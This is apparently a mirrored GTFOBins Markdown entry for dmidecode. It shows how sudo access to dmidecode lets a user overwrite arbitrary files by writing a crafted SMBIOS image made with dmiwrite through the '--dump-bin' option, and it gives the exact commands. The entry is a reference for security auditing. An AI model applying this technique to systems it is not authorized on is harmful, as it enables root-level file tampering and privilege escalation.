mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-19 02:11:39 +02:00
22 lines
763 B
Markdown
22 lines
763 B
Markdown
|
---
|
||
|
|
functions:
|
||
|
|
sudo:
|
||
|
|
- description: |
|
||
|
|
It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.
|
||
|
|
Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.
|
||
|
|
|
||
|
|
- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.
|
||
|
|
|
||
|
|
- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.
|
||
|
|
|
||
|
|
```
|
||
|
|
make dmiwrite
|
||
|
|
TF=$(mktemp)
|
||
|
|
echo "DATA" > $TF
|
||
|
|
./dmiwrite $TF x.dmi
|
||
|
|
```
|
||
|
|
code: |
|
||
|
|
LFILE=file_to_write
|
||
|
|
sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"
|
||
|
|
---
|